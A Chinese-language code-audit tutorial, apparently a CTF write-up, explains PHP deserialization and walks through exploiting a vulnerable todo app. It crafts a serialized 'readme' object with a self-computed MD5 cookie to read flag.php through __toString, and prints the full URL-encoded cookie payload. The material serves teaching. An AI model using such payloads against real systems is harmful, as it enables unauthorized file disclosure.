代码审计-反序列化漏洞

代码审计-反序列化漏洞

注:文章仅限于学术交流,不做其他用途

一、基础知识
1)序列化(serialize)
将状态信息保存为字符串,将PHP中 对象、类、数组、变量、匿名函数等当前状态转化为字符串,可简单认为是存档

2)反序列化(unserialize)
将这个序列化状态信息拿出来使用,重新再转化为对象或者其他的,将字符串转化为状态信息,可简单认为是读档

3)常见格式
O:4:“test”:1:{s:4:“test”;s:3:“123”;} O标识变量类型,objeck对象;4标识类名长度;"test"标识类名;1标识属性数量;{…}标识属性其中s标识属性类型string;4标识属性长度

4)实质
serialize()和unserialize()在PHP内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害

5)php中的魔术方法
__construct():当对象创建(new)时会自动调用,在unserialize()时是不会自动调用的。
__destruct():当对象被销毁时会自动调用。
__wakeup() :如前所提,unserialize()时会自动调用。
__toString():对象被当作字符串处理时候执行,一般情况下echo 可以触发

二、实战反序列化漏洞

<?php 
Class readme{ 
    public function __toString() 
    { 
        return highlight_file('Readme.txt', true).highlight_file($this->source, true); 
    } 
} 
if(isset($_GET['source'])){ 
    $s = new readme(); 
    $s->source = __FILE__; 
    echo $s; 
    exit; 
} 
//$todos = []; 
if(isset($_COOKIE['todos'])){ 
    $c = $_COOKIE['todos']; 
    $h = substr($c, 0, 32); 
    $m = substr($c, 32); 
    if(md5($m) === $h){ 
        $todos = unserialize($m); 
    } 
} 
if(isset($_POST['text'])){ 
    $todo = $_POST['text']; 
    $todos[] = $todo; 
    $m = serialize($todos); 
    $h = md5($m); 
    setcookie('todos', $h.$m); 
    header('Location: '.$_SERVER['REQUEST_URI']); 
    exit; 
} 
?> 
<html> 
<head> 
</head> 

<h1>Readme</h1> 
<a href="?source"><h2>Check Code</h2></a> 
<ul> 
<?php foreach($todos as $todo):?> 
    <li><?=$todo?></li> 
<?php endforeach;?> 
</ul> 

<form method="post" href="."> 
    <textarea name="text"></textarea> 
    <input type="submit" value="store"> 
</form>

首先发现关键函数unserialize,通过这个去遍历相关代码,发现接受的传参满足三个条件就可以去执行unserialize函数,传参cookie含有todos,且todos值前32位要和32位后的md5值相等,这里可以看出md5按照32位加密,那我们就可以构造cookie传参,todos=前32 + 32后 and 前32=md5(32后)

if(isset($_COOKIE['todos'])){ 
    $c = $_COOKIE['todos']; 
    $h = substr($c, 0, 32); 
    $m = substr($c, 32); 
    if(md5($m) === $h){ 
        $todos = unserialize($m); 
    } 
} 

li> 等价于

  • ,这个就可以触发__toString()函数,所以我们想办法通过__toString函数构造一个序列化字符串,含有恶意代码然后传参去反序列化形成攻击,foreach($todos as $todo)这个表示去todos遍历,所以todos是一个数组,反序列化的$todos = unserialize($m)保证序列化字符串$m是一个数组

    <ul> 
    <?php foreach($todos as $todo):?> 
        <li><?=$todo?></li> 
    <?php endforeach;?> 
    </ul> 
    

    开始构造序列化字符串,我们发现__toString函数是读取Readme.txt和source = __FILE__的内容,可以尝试控制source值去构造序列化字符串,我们可以控制访问路径,自定义flag.php让代码去访问我们想要得文件

    代码审计-反序列化漏洞_第1张图片
    访问获得序列字符串a:1:{i:0;O:6:”readme”:1:{s:6:”source”;s:8:”flag.php”;}}然后md5按32位加密然后组合e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:”readme”:1:{s:6:”source”;s:8:”flag.php”;}}
    在这里插入图片描述
    代码审计-反序列化漏洞_第2张图片
    然后传参带入,注意得是这里是要通过url编码,我们通过工具截取数据包,添加url编码后添加cookie读取文件信息todos=e2d4f7dcc43ee1db7f69e76303d0105ca%3a1%3a%7bi%3a0%3bO%3a6%3a%22readme%22%3a1%3a%7bs%3a6%3a%22source%22%3bs%3a8%3a%22flag.php%22%3b%7d%7d
    代码审计-反序列化漏洞_第3张图片

    你可能感兴趣的:(安全)